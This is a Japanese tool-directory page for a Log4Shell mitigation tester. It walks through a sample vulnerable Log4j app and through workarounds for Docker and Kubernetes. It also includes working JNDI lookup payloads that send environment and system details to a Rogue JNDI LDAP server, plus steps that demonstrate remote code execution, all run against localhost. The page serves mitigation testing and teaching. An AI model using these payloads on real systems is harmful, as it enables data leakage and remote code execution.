Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/lhotari/log4shell-mitigation-tester
コンテナセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHublhotari/log4shell-mitigation-tester

log4shell-mitigation-tester

Log4Shell(CVE-2021-44228)の緩和策を、サンプルの脆弱なLog4jアプリでテスト・検証します。JNDI悪用、環境変数による回避策、Docker/Kubernetesでのパッチ適用を含みます。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
16134年前未レビュー

Log4Shell 緩和策テスター

これは Log4j 2.14.1 を使用したサンプルアプリケーションです。

ソースコード: App.java

この目的は、さまざまな緩和策をテストできるようにすることです。これらの緩和策は、Microsoft の CVE-2021-44228 Apache Log4j 2 への対応 にも記載されています。

使用例

例は bash シェル向けです

アプリをビルドする

root@kitploit:~
./gradlew assemble

回避策なしで実行する

root@kitploit:~
java -jar app/build/libs/app-all.jar

コマンドラインで文字列を渡してメッセージルックアップ機能をテストする:

root@kitploit:~
FOO='Hello ${env:USER}' java -jar app/build/libs/app-all.jar '${env:FOO}'

システムプロパティによる回避策 -Dlog4j2.formatMsgNoLookups=true をテストする、https://twitter.com/brunoborges/status/1469186875608875011

root@kitploit:~
java -Dlog4j2.formatMsgNoLookups=true -jar app/build/libs/app-all.jar

環境変数 LOG4J_FORMAT_MSG_NO_LOOKUPS=true による回避策をテストする、https://twitter.com/brunoborges/status/1469462412679991300

root@kitploit:~
LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar

環境変数 JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true による回避策をテストする、https://twitter.com/brunoborges/status/1469426918550245377

root@kitploit:~
JAVA_TOOL_OPTIONS=-Dlog4j.formatMsgNoLookups=true java -jar app/build/libs/app-all.jar

クラスパス内の log4j2.component.properties を使用した回避策をテストする:

root@kitploit:~
java -cp log4j2-formatMsgNoLookups/build/libs/log4j2-formatMsgNoLookups.jar:app/build/libs/app-all.jar log4shell.mitigation.tester.App

見ればわかる - このサンプルアプリを悪用する

アプリを実行すると、脆弱性が実際に動作しているのを確認できます:

root@kitploit:~
❯ java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:57:07,216] [main] [log4shell.mitigation.tester.App] INFO noLookups false
[2021-12-12 10:57:07,218] [main] [log4shell.mitigation.tester.App] INFO Lookups are enabled! The application is vulnerable for Log4Shell! Example lookup USER=lari
2021-12-12 10:57:07,239 main WARN Error looking up JNDI resource [ldap://127.0.0.1/a?user=lari]. javax.naming.InvalidNameException: ldap://127.0.0.1/a?user=lari
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:92)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)

また、このソリューションをデバッグして、脆弱なコードにブレークポイントを設定することもできます。そのコードは次の場所にあります。 https://github.com/apache/logging-log4j2/blob/dd18e9b21009055e226daf5b233c92b6a17934ca/log4j-core/src/main/java/org/apache/logging/log4j/core/pattern/MessagePatternConverter.java#L119-L135

デバッガは 128 行目のクラス org.apache.logging.log4j.core.pattern.MessagePatternConverter に設定します。

緩和策が適用されている場合、デバッガがそのコードブロックに入ることは決してありません。LDAP 呼び出しも試行されないはずです:

root@kitploit:~
❯ LOG4J_FORMAT_MSG_NO_LOOKUPS=true java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.0.1/a?user=${env:USER}}'
[2021-12-12 10:59:15,589] [main] [log4shell.mitigation.tester.App] INFO noLookups true
[2021-12-12 10:59:15,590] [main] [log4shell.mitigation.tester.App] INFO Lookups are disabled. Example lookup USER=${env:USER}
[2021-12-12 10:59:15,591] [main] [log4shell.mitigation.tester.App] INFO Provided command line arguments are [${jndi:ldap://127.0.0.1/a?user=${env:USER}}]

Rogue JNDI で悪用する

情報漏えいのデモは https://github.com/veracode-research/rogue-jndi/pull/11 の変更に依存しています

1 つのターミナルで

root@kitploit:~
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
# build with PR https://github.com/veracode-research/rogue-jndi/pull/11 changes
git fetch origin pull/11/head
git checkout FETCH_HEAD
mvn package
# sample command is for Linux, remove `-c "zenity --progress --pulsate --text=You_are_hacked"` on other OSes or use any suitable RCE command
java -jar target/RogueJndi-1.1.jar -c "zenity --progress --pulsate --text=You_are_hacked"

別のターミナルで:

root@kitploit:~
# demonstrate information leakage
java -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/user=${env:USER},vendor=${sys:java.vendor},javaversion=${sys:java.vm.version},os=${sys:os.version}}'
# demonstrate RCE by adding "-Dcom.sun.jndi.ldap.object.trustURLCodebase=true"
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar app/build/libs/app-all.jar '${jndi:ldap://127.0.1.1:1389/o=reference}'

Log4Shell 向けの Kubernetes / docker 緩和ソリューション

新しいソフトウェアリリースを待たずに、Log4Shell を直ちに緩和する必要があります。以下は、それを迅速かつ効果的に行うためのいくつかのソリューションです。

LOG4J_FORMAT_MSG_NO_LOOKUPS=true 環境変数を設定するシンオーバーレイで既存の docker イメージにパッチを適用する

これは汎用的なソリューションです: https://github.com/lhotari/Log4Shell-mitigation-Dockerfile-overlay

Log4j 2.15.0 の jar ファイルで既存の docker イメージにパッチを適用する例

これは汎用的なものではなく、apache/pulsar からの例です: https://github.com/lhotari/pulsar-docker-images-patch-CVE-2021-44228

LOG4J_FORMAT_MSG_NO_LOOKUPS=true 環境変数で k8s デプロイメントにパッチを適用する

https://gist.github.com/brunoborges/9df576689b404aee70a8065210c77fb3

ツールをダウンロード